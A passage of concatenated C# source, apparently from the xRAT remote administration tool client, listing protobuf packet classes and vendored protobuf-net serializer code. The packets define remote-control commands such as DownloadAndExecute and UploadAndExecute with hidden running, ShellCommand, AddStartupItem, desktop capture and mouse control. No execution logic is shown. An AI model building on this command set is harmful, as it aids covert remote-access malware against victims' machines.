| Message = message; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/UserStatus.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ClientPackets 4 | { 5 | [ProtoContract] 6 | public class UserStatus : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string Message { get; set; } 10 | 11 | public UserStatus() 12 | { 13 | } 14 | 15 | public UserStatus(string message) 16 | { 17 | Message = message; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Client/Core/Packets/IPacket.cs: -------------------------------------------------------------------------------- 1 | namespace xClient.Core.Packets 2 | { 3 | public interface IPacket 4 | { 5 | void Execute(Client client); 6 | } 7 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/Action.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class Action : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public int Mode { get; set; } 10 | 11 | public Action() 12 | { 13 | } 14 | 15 | public Action(int mode) 16 | { 17 | this.Mode = mode; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/AddStartupItem.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class AddStartupItem : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string Name { get; set; } 10 | 11 | [ProtoMember(2)] 12 | public string Path { get; set; } 13 | 14 | [ProtoMember(3)] 15 | public int Type { get; set; } 16 | 17 | public AddStartupItem() 18 | { 19 | } 20 | 21 | public AddStartupItem(string name, string path, int type) 22 | { 23 | this.Name = name; 24 | this.Path = path; 25 | this.Type = type; 26 | } 27 | 28 | public void Execute(Client client) 29 | { 30 | client.Send(this); 31 | } 32 | } 33 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/Delete.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class Delete : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string Path { get; set; } 10 | 11 | [ProtoMember(2)] 12 | public bool IsDir { get; set; } 13 | 14 | public Delete() 15 | { 16 | } 17 | 18 | public Delete(string path, bool isdir) 19 | { 20 | this.Path = path; 21 | this.IsDir = isdir; 22 | } 23 | 24 | public void Execute(Client client) 25 | { 26 | client.Send(this); 27 | } 28 | } 29 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/Desktop.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class Desktop : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public int Quality { get; set; } 10 | 11 | [ProtoMember(2)] 12 | public int Monitor { get; set; } 13 | 14 | public Desktop() 15 | { 16 | } 17 | 18 | public Desktop(int quality, int monitor) 19 | { 20 | this.Quality = quality; 21 | this.Monitor = monitor; 22 | } 23 | 24 | public void Execute(Client client) 25 | { 26 | client.Send(this); 27 | } 28 | } 29 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/Directory.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class Directory : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string RemotePath { get; set; } 10 | 11 | public Directory() 12 | { 13 | } 14 | 15 | public Directory(string remotepath) 16 | { 17 | this.RemotePath = remotepath; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/Disconnect.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class Disconnect : IPacket 7 | { 8 | public Disconnect() 9 | { 10 | } 11 | 12 | public void Execute(Client client) 13 | { 14 | client.Send(this); 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/DownloadAndExecute.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class DownloadAndExecute : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string URL { get; set; } 10 | 11 | [ProtoMember(2)] 12 | public bool RunHidden { get; set; } 13 | 14 | public DownloadAndExecute() 15 | { 16 | } 17 | 18 | public DownloadAndExecute(string url, bool runhidden) 19 | { 20 | this.URL = url; 21 | this.RunHidden = runhidden; 22 | } 23 | 24 | public void Execute(Client client) 25 | { 26 | client.Send(this); 27 | } 28 | } 29 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/DownloadFile.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class DownloadFile : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string RemotePath { get; set; } 10 | 11 | [ProtoMember(2)] 12 | public int ID { get; set; } 13 | 14 | public DownloadFile() 15 | { 16 | } 17 | 18 | public DownloadFile(string remotepath, int id) 19 | { 20 | this.RemotePath = remotepath; 21 | this.ID = id; 22 | } 23 | 24 | public void Execute(Client client) 25 | { 26 | client.Send(this); 27 | } 28 | } 29 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/DownloadFileCanceled.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class DownloadFileCanceled : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public int ID { get; set; } 10 | 11 | public DownloadFileCanceled() 12 | { 13 | } 14 | 15 | public DownloadFileCanceled(int id) 16 | { 17 | this.ID = id; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/Drives.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class Drives : IPacket 7 | { 8 | public Drives() 9 | { 10 | } 11 | 12 | public void Execute(Client client) 13 | { 14 | client.Send(this); 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/GetProcesses.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class GetProcesses : IPacket 7 | { 8 | public GetProcesses() 9 | { 10 | } 11 | 12 | public void Execute(Client client) 13 | { 14 | client.Send(this); 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/GetStartupItems.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class GetStartupItems : IPacket 7 | { 8 | public GetStartupItems() 9 | { 10 | } 11 | 12 | public void Execute(Client client) 13 | { 14 | client.Send(this); 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/GetSystemInfo.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class GetSystemInfo : IPacket 7 | { 8 | public GetSystemInfo() 9 | { 10 | } 11 | 12 | public void Execute(Client client) 13 | { 14 | client.Send(this); 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/InitializeCommand.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class InitializeCommand : IPacket 7 | { 8 | public InitializeCommand() 9 | { 10 | } 11 | 12 | public void Execute(Client client) 13 | { 14 | client.Send(this); 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/KillProcess.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class KillProcess : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public int PID { get; set; } 10 | 11 | public KillProcess() 12 | { 13 | } 14 | 15 | public KillProcess(int pid) 16 | { 17 | this.PID = pid; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/Monitors.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class Monitors : IPacket 7 | { 8 | public Monitors() 9 | { 10 | } 11 | 12 | public void Execute(Client client) 13 | { 14 | client.Send(this); 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/MouseClick.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class MouseClick : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public bool LeftClick { get; set; } 10 | 11 | [ProtoMember(2)] 12 | public bool DoubleClick { get; set; } 13 | 14 | [ProtoMember(3)] 15 | public int X { get; set; } 16 | 17 | [ProtoMember(4)] 18 | public int Y { get; set; } 19 | 20 | public MouseClick() 21 | { 22 | } 23 | 24 | public MouseClick(bool leftclick, bool doubleclick, int x, int y) 25 | { 26 | this.LeftClick = leftclick; 27 | this.DoubleClick = doubleclick; 28 | this.X = x; 29 | this.Y = y; 30 | } 31 | 32 | public void Execute(Client client) 33 | { 34 | client.Send(this); 35 | } 36 | } 37 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/Reconnect.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class Reconnect : IPacket 7 | { 8 | public Reconnect() 9 | { 10 | } 11 | 12 | public void Execute(Client client) 13 | { 14 | client.Send(this); 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/Rename.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class Rename : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string Path { get; set; } 10 | 11 | [ProtoMember(2)] 12 | public string NewPath { get; set; } 13 | 14 | [ProtoMember(3)] 15 | public bool IsDir { get; set; } 16 | 17 | public Rename() 18 | { 19 | } 20 | 21 | public Rename(string path, string newpath, bool isdir) 22 | { 23 | this.Path = path; 24 | this.NewPath = newpath; 25 | this.IsDir = isdir; 26 | } 27 | 28 | public void Execute(Client client) 29 | { 30 | client.Send(this); 31 | } 32 | } 33 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/ShellCommand.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class ShellCommand : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string Command { get; set; } 10 | 11 | public ShellCommand() 12 | { 13 | } 14 | 15 | public ShellCommand(string command) 16 | { 17 | this.Command = command; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/ShowMessageBox.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class ShowMessageBox : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string Caption { get; set; } 10 | 11 | [ProtoMember(2)] 12 | public string Text { get; set; } 13 | 14 | [ProtoMember(3)] 15 | public string MessageboxButton { get; set; } 16 | 17 | [ProtoMember(4)] 18 | public string MessageboxIcon { get; set; } 19 | 20 | public ShowMessageBox() 21 | { 22 | } 23 | 24 | public ShowMessageBox(string caption, string text, string messageboxbutton, string messageboxicon) 25 | { 26 | this.Caption = caption; 27 | this.Text = text; 28 | this.MessageboxButton = messageboxbutton; 29 | this.MessageboxIcon = messageboxicon; 30 | } 31 | 32 | public void Execute(Client client) 33 | { 34 | client.Send(this); 35 | } 36 | } 37 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/StartProcess.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class StartProcess : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string Processname { get; set; } 10 | 11 | public StartProcess() 12 | { 13 | } 14 | 15 | public StartProcess(string processname) 16 | { 17 | this.Processname = processname; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/Uninstall.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class Uninstall : IPacket 7 | { 8 | public Uninstall() 9 | { 10 | } 11 | 12 | public void Execute(Client client) 13 | { 14 | client.Send(this); 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/Update.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class Update : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string DownloadURL { get; set; } 10 | 11 | public Update() 12 | { 13 | } 14 | 15 | public Update(string downloadurl) 16 | { 17 | this.DownloadURL = downloadurl; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/UploadAndExecute.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class UploadAndExecute : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public int ID { get; set; } 10 | 11 | [ProtoMember(2)] 12 | public string FileName { get; set; } 13 | 14 | [ProtoMember(3)] 15 | public byte[] Block { get; set; } 16 | 17 | [ProtoMember(4)] 18 | public int MaxBlocks { get; set; } 19 | 20 | [ProtoMember(5)] 21 | public int CurrentBlock { get; set; } 22 | 23 | [ProtoMember(6)] 24 | public bool RunHidden { get; set; } 25 | 26 | public UploadAndExecute() 27 | { 28 | } 29 | 30 | public UploadAndExecute(int id, string filename, byte[] block, int maxblocks, int currentblock, bool runhidden) 31 | { 32 | this.ID = id; 33 | this.FileName = filename; 34 | this.Block = block; 35 | this.MaxBlocks = maxblocks; 36 | this.CurrentBlock = currentblock; 37 | this.RunHidden = runhidden; 38 | } 39 | 40 | public void Execute(Client client) 41 | { 42 | client.Send(this); 43 | } 44 | } 45 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/VisitWebsite.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ServerPackets 4 | { 5 | [ProtoContract] 6 | public class VisitWebsite : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string URL { get; set; } 10 | 11 | [ProtoMember(2)] 12 | public bool Hidden { get; set; } 13 | 14 | public VisitWebsite() 15 | { 16 | } 17 | 18 | public VisitWebsite(string url, bool hidden) 19 | { 20 | this.URL = url; 21 | this.Hidden = hidden; 22 | } 23 | 24 | public void Execute(Client client) 25 | { 26 | client.Send(this); 27 | } 28 | } 29 | } -------------------------------------------------------------------------------- /Client/Core/Packets/UnknownPacket.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets 4 | { 5 | [ProtoContract] 6 | public class UnknownPacket : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public IPacket Packet { get; set; } 10 | 11 | public UnknownPacket() 12 | { 13 | } 14 | 15 | public UnknownPacket(IPacket packet) 16 | { 17 | Packet = packet; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Client/Core/ProtoBuf/CallbackAttributes.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.ComponentModel; 3 | 4 | namespace ProtoBuf 5 | { 6 | /// Specifies a method on the root-contract in an hierarchy to be invoked before serialization. 7 | [AttributeUsage(AttributeTargets.Method, AllowMultiple = false, Inherited = false)] 8 | #if !CF && !SILVERLIGHT && !MONODROID && !WINRT && !IOS && !PORTABLE 9 | [ImmutableObject(true)] 10 | #endif 11 | public sealed class ProtoBeforeSerializationAttribute : Attribute 12 | { 13 | } 14 | 15 | /// Specifies a method on the root-contract in an hierarchy to be invoked after serialization. 16 | [AttributeUsage(AttributeTargets.Method, AllowMultiple = false, Inherited = false)] 17 | #if !CF && !SILVERLIGHT && !MONODROID && !WINRT && !IOS && !PORTABLE 18 | [ImmutableObject(true)] 19 | #endif 20 | public sealed class ProtoAfterSerializationAttribute : Attribute 21 | { 22 | } 23 | 24 | /// Specifies a method on the root-contract in an hierarchy to be invoked before deserialization. 25 | [AttributeUsage(AttributeTargets.Method, AllowMultiple = false, Inherited = false)] 26 | #if !CF && !SILVERLIGHT && !MONODROID && !WINRT && !IOS && !PORTABLE 27 | [ImmutableObject(true)] 28 | #endif 29 | public sealed class ProtoBeforeDeserializationAttribute : Attribute 30 | { 31 | } 32 | 33 | /// Specifies a method on the root-contract in an hierarchy to be invoked after deserialization. 34 | [AttributeUsage(AttributeTargets.Method, AllowMultiple = false, Inherited = false)] 35 | #if !CF && !SILVERLIGHT && !MONODROID && !WINRT && !IOS && !PORTABLE 36 | [ImmutableObject(true)] 37 | #endif 38 | public sealed class ProtoAfterDeserializationAttribute : Attribute 39 | { 40 | } 41 | } -------------------------------------------------------------------------------- /Client/Core/ProtoBuf/DataFormat.cs: -------------------------------------------------------------------------------- 1 | namespace ProtoBuf 2 | { 3 | /// 4 | /// Sub-format to use when serializing/deserializing data 5 | /// 6 | public enum DataFormat 7 | { 8 | /// 9 | /// Uses the default encoding for the data-type. 10 | /// 11 | Default, 12 | 13 | /// 14 | /// When applied to signed integer-based data (including Decimal), this 15 | /// indicates that zigzag variant encoding will be used. This means that values 16 | /// with small magnitude (regardless of sign) take a small amount 17 | /// of space to encode. 18 | /// 19 | ZigZag, 20 | 21 | /// 22 | /// When applied to signed integer-based data (including Decimal), this 23 | /// indicates that two's-complement variant encoding will be used. 24 | /// This means that any -ve number will take 10 bytes (even for 32-bit), 25 | /// so should only be used for compatibility. 26 | /// 27 | TwosComplement, 28 | 29 | /// 30 | /// When applied to signed integer-based data (including Decimal), this 31 | /// indicates that a fixed amount of space will be used. 32 | /// 33 | FixedSize, 34 | 35 | /// 36 | /// When applied to a sub-message, indicates that the value should be treated 37 | /// as group-delimited. 38 | /// 39 | Group 40 | } 41 | } -------------------------------------------------------------------------------- /Client/Core/ProtoBuf/GlobalSuppressions.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Client/Core/ProtoBuf/GlobalSuppressions.cs -------------------------------------------------------------------------------- /Client/Core/ProtoBuf/IExtensible.cs: -------------------------------------------------------------------------------- 1 | namespace ProtoBuf 2 | { 3 | /// 4 | /// Indicates that the implementing type has support for protocol-buffer 5 | /// extensions. 6 | /// 7 | /// Can be implemented by deriving from Extensible. 8 | public interface IExtensible 9 | { 10 | /// 11 | /// Retrieves the extension object for the current 12 | /// instance, optionally creating it if it does not already exist. 13 | /// 14 | /// Should a new extension object be 15 | /// created if it does not already exist? 16 | /// The extension object if it exists (or was created), or null 17 | /// if the extension object does not exist or is not available. 18 | /// The createIfMissing argument is false during serialization, 19 | /// and true during deserialization upon encountering unexpected fields. 20 | IExtension GetExtensionObject(bool createIfMissing); 21 | } 22 | } -------------------------------------------------------------------------------- /Client/Core/ProtoBuf/ImplicitFields.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace ProtoBuf 4 | { 5 | /// 6 | /// Specifies the method used to infer field tags for members of the type 7 | /// under consideration. Tags are deduced using the invariant alphabetic 8 | /// sequence of the members' names; this makes implicit field tags very brittle, 9 | /// and susceptible to changes such as field names (normally an isolated 10 | /// change). 11 | /// 12 | public enum ImplicitFields 13 | { 14 | /// 15 | /// No members are serialized implicitly; all members require a suitable 16 | /// attribute such as [ProtoMember]. This is the recmomended mode for 17 | /// most scenarios. 18 | /// 19 | None = 0, 20 | 21 | /// 22 | /// Public properties and fields are eligible for implicit serialization; 23 | /// this treats the public API as a contract. Ordering beings from ImplicitFirstTag. 24 | /// 25 | AllPublic = 1, 26 | 27 | /// 28 | /// Public and non-public fields are eligible for implicit serialization; 29 | /// this acts as a state/implementation serializer. Ordering beings from ImplicitFirstTag. 30 | /// 31 | AllFields = 2 32 | } 33 | } -------------------------------------------------------------------------------- /Client/Core/ProtoBuf/PrefixStyle.cs: -------------------------------------------------------------------------------- 1 | namespace ProtoBuf 2 | { 3 | /// 4 | /// Specifies the type of prefix that should be applied to messages. 5 | /// 6 | public enum PrefixStyle 7 | { 8 | /// 9 | /// No length prefix is applied to the data; the data is terminated only be the end of the stream. 10 | /// 11 | None, 12 | 13 | /// 14 | /// A base-128 length prefix is applied to the data (efficient for short messages). 15 | /// 16 | Base128, 17 | 18 | /// 19 | /// A fixed-length (little-endian) length prefix is applied to the data (useful for compatibility). 20 | /// 21 | Fixed32, 22 | 23 | /// 24 | /// A fixed-length (big-endian) length prefix is applied to the data (useful for compatibility). 25 | /// 26 | Fixed32BigEndian 27 | } 28 | } -------------------------------------------------------------------------------- /Client/Core/ProtoBuf/ProtoConverterAttribute.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace ProtoBuf 4 | { 5 | /// 6 | /// Indicates that a static member should be considered the same as though 7 | /// were an implicit / explicit conversion operator; in particular, this 8 | /// is useful for conversions that operator syntax does not allow, such as 9 | /// to/from interface types. 10 | /// 11 | [AttributeUsage(AttributeTargets.Method, AllowMultiple = false, Inherited = true)] 12 | public class ProtoConverterAttribute : Attribute 13 | { 14 | } 15 | } -------------------------------------------------------------------------------- /Client/Core/ProtoBuf/ProtoEnumAttribute.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace ProtoBuf 4 | { 5 | /// 6 | /// Used to define protocol-buffer specific behavior for 7 | /// enumerated values. 8 | /// 9 | [AttributeUsage(AttributeTargets.Field, AllowMultiple = false)] 10 | public sealed class ProtoEnumAttribute : Attribute 11 | { 12 | /// 13 | /// Gets or sets the specific value to use for this enum during serialization. 14 | /// 15 | public int Value 16 | { 17 | get { return enumValue; } 18 | set 19 | { 20 | this.enumValue = value; 21 | hasValue = true; 22 | } 23 | } 24 | 25 | /// 26 | /// Indicates whether this instance has a customised value mapping 27 | /// 28 | /// true if a specific value is set 29 | public bool HasValue() 30 | { 31 | return hasValue; 32 | } 33 | 34 | private bool hasValue; 35 | private int enumValue; 36 | 37 | /// 38 | /// Gets or sets the defined name of the enum, as used in .proto 39 | /// (this name is not used during serialization). 40 | /// 41 | public string Name 42 | { 43 | get { return name; } 44 | set { name = value; } 45 | } 46 | 47 | private string name; 48 | } 49 | } -------------------------------------------------------------------------------- /Client/Core/ProtoBuf/ProtoException.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | #if PLAT_BINARYFORMATTER && !(WINRT || PHONE8) 4 | using System.Runtime.Serialization; 5 | #endif 6 | 7 | namespace ProtoBuf 8 | { 9 | /// 10 | /// Indicates an error during serialization/deserialization of a proto stream. 11 | /// 12 | #if PLAT_BINARYFORMATTER && !(WINRT || PHONE8) 13 | [Serializable] 14 | #endif 15 | public class ProtoException : Exception 16 | { 17 | /// Creates a new ProtoException instance. 18 | public ProtoException() 19 | { 20 | } 21 | 22 | /// Creates a new ProtoException instance. 23 | public ProtoException(string message) : base(message) 24 | { 25 | } 26 | 27 | /// Creates a new ProtoException instance. 28 | public ProtoException(string message, Exception innerException) : base(message, innerException) 29 | { 30 | } 31 | 32 | #if PLAT_BINARYFORMATTER && !(WINRT || PHONE8) 33 | /// Creates a new ProtoException instance. 34 | protected ProtoException(SerializationInfo info, StreamingContext context) : base(info, context) { } 35 | #endif 36 | } 37 | } -------------------------------------------------------------------------------- /Client/Core/ProtoBuf/ProtoIgnoreAttribute.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace ProtoBuf 4 | { 5 | /// 6 | /// Indicates that a member should be excluded from serialization; this 7 | /// is only normally used when using implict fields. 8 | /// 9 | [AttributeUsage(AttributeTargets.Property | AttributeTargets.Field, 10 | AllowMultiple = false, Inherited = true)] 11 | public class ProtoIgnoreAttribute : Attribute 12 | { 13 | } 14 | 15 | /// 16 | /// Indicates that a member should be excluded from serialization; this 17 | /// is only normally used when using implict fields. This allows 18 | /// ProtoIgnoreAttribute usage 19 | /// even for partial classes where the individual members are not 20 | /// under direct control. 21 | /// 22 | [AttributeUsage(AttributeTargets.Class, 23 | AllowMultiple = true, Inherited = false)] 24 | public sealed class ProtoPartialIgnoreAttribute : ProtoIgnoreAttribute 25 | { 26 | /// 27 | /// Creates a new ProtoPartialIgnoreAttribute instance. 28 | /// 29 | /// Specifies the member to be ignored. 30 | public ProtoPartialIgnoreAttribute(string memberName) 31 | : base() 32 | { 33 | if (Helpers.IsNullOrEmpty(memberName)) throw new ArgumentNullException("memberName"); 34 | this.memberName = memberName; 35 | } 36 | 37 | /// 38 | /// The name of the member to be ignored. 39 | /// 40 | public string MemberName 41 | { 42 | get { return memberName; } 43 | } 44 | 45 | private readonly string memberName; 46 | } 47 | } -------------------------------------------------------------------------------- /Client/Core/ProtoBuf/Serializers/ByteSerializer.cs: -------------------------------------------------------------------------------- 1 | #if !NO_RUNTIME 2 | using System; 3 | 4 | #if FEAT_IKVM 5 | using Type = IKVM.Reflection.Type; 6 | #endif 7 | 8 | namespace ProtoBuf.Serializers 9 | { 10 | internal sealed class ByteSerializer : IProtoSerializer 11 | { 12 | public Type ExpectedType 13 | { 14 | get { return expectedType; } 15 | } 16 | 17 | #if FEAT_IKVM 18 | readonly Type expectedType; 19 | #else 20 | private static readonly Type expectedType = typeof (byte); 21 | #endif 22 | 23 | public ByteSerializer(ProtoBuf.Meta.TypeModel model) 24 | { 25 | #if FEAT_IKVM 26 | expectedType = model.MapType(typeof(byte)); 27 | #endif 28 | } 29 | 30 | bool IProtoSerializer.RequiresOldValue 31 | { 32 | get { return false; } 33 | } 34 | 35 | bool IProtoSerializer.ReturnsValue 36 | { 37 | get { return true; } 38 | } 39 | 40 | #if !FEAT_IKVM 41 | public void Write(object value, ProtoWriter dest) 42 | { 43 | ProtoWriter.WriteByte((byte) value, dest); 44 | } 45 | 46 | public object Read(object value, ProtoReader source) 47 | { 48 | Helpers.DebugAssert(value == null); // since replaces 49 | return source.ReadByte(); 50 | } 51 | #endif 52 | 53 | #if FEAT_COMPILER 54 | void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) 55 | { 56 | ctx.EmitBasicWrite("WriteByte", valueFrom); 57 | } 58 | void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) 59 | { 60 | ctx.EmitBasicRead("ReadByte", ExpectedType); 61 | } 62 | #endif 63 | } 64 | } 65 | 66 | #endif -------------------------------------------------------------------------------- /Client/Core/ProtoBuf/Serializers/CharSerializer.cs: -------------------------------------------------------------------------------- 1 | #if !NO_RUNTIME 2 | using System; 3 | #if FEAT_IKVM 4 | using Type = IKVM.Reflection.Type; 5 | using IKVM.Reflection; 6 | #else 7 | using System.Reflection; 8 | 9 | #endif 10 | 11 | namespace ProtoBuf.Serializers 12 | { 13 | internal sealed class CharSerializer : UInt16Serializer 14 | { 15 | #if FEAT_IKVM 16 | readonly Type expectedType; 17 | #else 18 | private static readonly Type expectedType = typeof (char); 19 | #endif 20 | 21 | public CharSerializer(ProtoBuf.Meta.TypeModel model) : base(model) 22 | { 23 | #if FEAT_IKVM 24 | expectedType = model.MapType(typeof(char)); 25 | #endif 26 | } 27 | 28 | public override Type ExpectedType 29 | { 30 | get { return expectedType; } 31 | } 32 | 33 | #if !FEAT_IKVM 34 | public override void Write(object value, ProtoWriter dest) 35 | { 36 | ProtoWriter.WriteUInt16((ushort) (char) value, dest); 37 | } 38 | 39 | public override object Read(object value, ProtoReader source) 40 | { 41 | Helpers.DebugAssert(value == null); // since replaces 42 | return (char) source.ReadUInt16(); 43 | } 44 | #endif 45 | // no need for any special IL here; ushort and char are 46 | // interchangeable as long as there is no boxing/unboxing 47 | } 48 | } 49 | 50 | #endif -------------------------------------------------------------------------------- /Client/Core/ProtoBuf/Serializers/IProtoTypeSerializer.cs: -------------------------------------------------------------------------------- 1 | #if !NO_RUNTIME 2 | using ProtoBuf.Meta; 3 | 4 | namespace 